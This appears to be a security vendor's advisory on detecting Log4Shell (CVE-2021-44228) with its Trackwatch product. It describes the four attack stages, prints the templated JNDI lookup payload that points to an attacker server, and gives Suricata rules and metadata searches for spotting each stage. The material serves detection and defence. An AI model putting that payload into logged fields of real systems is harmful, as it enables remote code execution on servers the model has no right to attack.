On Thursday, December 9, 2021, a remote code execution (RCE) vulnerability (dubbed Log4Shell and referenced as CVE-2021-44228) affecting the Java Log4j logging library was published on the Internet by a company named Lunasec. Log4j is a widely used logging library in Java ecosystem.
This document presents the detection of CVE-2021-44228, also known as « Log4Shell » attacks with Trackwatch detection solution.
CVE-2021-44228 is publicly available since the 9th of December 2021. Its exploitation is growing extremely fast, and represents an important threat.
Detecting Log4Shell on networks monitored by Trackwatch
Our solution Trackwatch is capable of detecting attempted or successful attacks using Log4Shell as a vector of intrusion.
The exploitation of this vulnerability goes in four stages:
- Stage 1: delivery of a malicious payload. A payload is placed in a field that will be logged by a vulnerable log4j instance. The payload looks like:
${jndi:<protocol>://<attacker_server>/<resource>}.In vanilla attacks, this payload is often used in the user-agent for http requests, as it is almost always logged by http servers.
- Stage 2: execution of the malicious payload. Following the instruction of the payload from stage 1, the targeted server sends a request using <protocol> to <attacker_server>. <attacker_server> must be controlled by the attacker, and will answer -among other things- an address or URL <path_to_java_class>. This location holds the java class that will be injected in the log4j process.
- Stage 3: Remote Code execution. The targeted server sends a request to <path_to_java_class> and downloads the java class specified by the attacker. The class is then executed.
- Stage 4 : exploitation of the compromised server.
Detecting stage 1
Detection by Sigflow engine
On the 13th of December 2021, the malicious payload is detected by 51 rules that are activated by default on Trackwatch.
These rules have been added in sigflow updates between the 11th and the 13th. If you use manual updates, you must apply the latest update of sigflow rules to enable these detections.
If further obfuscation methods were discovered, more rules would be added. In order to list all the rules concerning CVE-2021-44228, it is possible to search « log4j ». The appliance’s Web user interface.
Metadata analysis
Logs are held for numerous protocols, and massive search can be performed easily. Searching a string typical of an attempt of exploitation with CVE-2021-44228 (such as “${“), it is possible to detect attacks that would have happened even before the update of sigflow rules.
It will work if the attacker tried to put the malicious payload in a simple protocol header like the user-agent of a http request.
Detecting stage 2
In its simplest format, the malicious payload is the following :
${jndi:<service>://<attack_server>/<resource>}
<service> may take the following values :
- LDAP (Lightweight Directory Access Protocol),
- DNS (Domain Name System)
- RMI (Remote Method Invocation)
- NDS (Novell Directory Services)
- NIS (Network Information Service)
- CORBA (Common Object Request Broker Architecture)
According to first analysis and field studies, the vast majority of traffic is using the LDAP protocol for exploit attempts.
It is therefore highly recommended to filter any outgoing flow from potentially vulnerable servers, as well as outgoing internet flow. In that way, it is possible to force an attacker to use a common port for its phase 2 request, such as port 443 that are typically used to get updates.
Trackwatch may then be used to ensure that the outgoing flow corresponds to the expected protocol. As an example, these two rules may be adapted depending on the context (HTTPS or HTTP) :
alert tcp any any -> any 443 (msg:"SURICATA Port 443 but not TLS"; flow:to_server; app-layer-protocol:!tls; sid:2271003; rev:1;)
alert tcp any any -> any 80 (msg:"SURICATA Port 80 but not HTTP"; flow:to_server; app-layer-protocol:!http; sid:2271002; rev:1;)
When it comes to DNS exploits, TXT type queries are used. two elements may be monitored to reveal potentially malicious traffic:
- If <attack_server> is not the usual DNS server of the targeted server, this will be clearly noticeable in IP metadata.
- If the targeted server starts doing TXT-type queries.
Detecting stage 3
During stage 3, the targeted server will get the java class to inject.
Suricata Rule
The rule “ET INFO JAVA – Java Class Download” allows us to detect such a request. This rule has been there since 2012 and is enabled by default. This is a strong indicator that a successful attack has occurred.
Detection through metadata
If stage 3 is taking place, the request to get a « .class »-file will be made through a Java process. HTTP metadata can once again be used to find evidence:
- By filtering on its specific user agent “Java*”.
- By looking for urls and requests where the string « class » can be found
In case of encrypted stream
Encrypted stream will not impede proposed detection for stage 2 and remains more difficult to implement for attackers during stage 3. TLS and DNS metadata may then be used to detect unusual behaviors, e.g. in queried DNS domains, SNI fields of TLS certificates and potentially in the GeoIP tool.
Detecting stage 4
Once Remote Command Execution has been achieved, most attacks use common malicious payloads : Kinsing, Mirai (and all its variants), Muhstik, Tsunami, Katana-Mirai, Cobalt Strike.
Such threats can be identified with our appliance, numerous Sigflow detection rules already exist to detect them.